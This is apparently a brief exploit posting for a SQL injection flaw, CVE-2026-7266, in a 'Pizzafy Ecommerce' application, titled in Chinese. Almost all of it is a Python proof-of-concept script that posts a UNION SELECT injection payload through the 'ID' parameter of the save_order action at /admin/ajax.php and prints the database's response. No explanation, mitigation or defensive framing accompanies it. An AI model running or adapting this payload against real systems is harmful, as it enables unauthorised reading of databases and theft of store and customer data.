CVE-2026-7266 Pizzafy Ecommerce SQL注入漏洞

import requests # Target URL url = "http://target-host/admin/ajax.php" # Payload exploiting the 'ID' parameter in save_order action payload = { "action": "save_order", # Example SQL Injection payload to extract version "ID": "1' UNION SELECT 1,2,version(),4-- -" } try: # Send POST request response = requests.post(url, data=payload) # Check if exploit was successful based on response if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response:") print(response.text) else: print("[-] Failed to send payload.") except Exception as e: print(f"[-] An error occurred: {e}")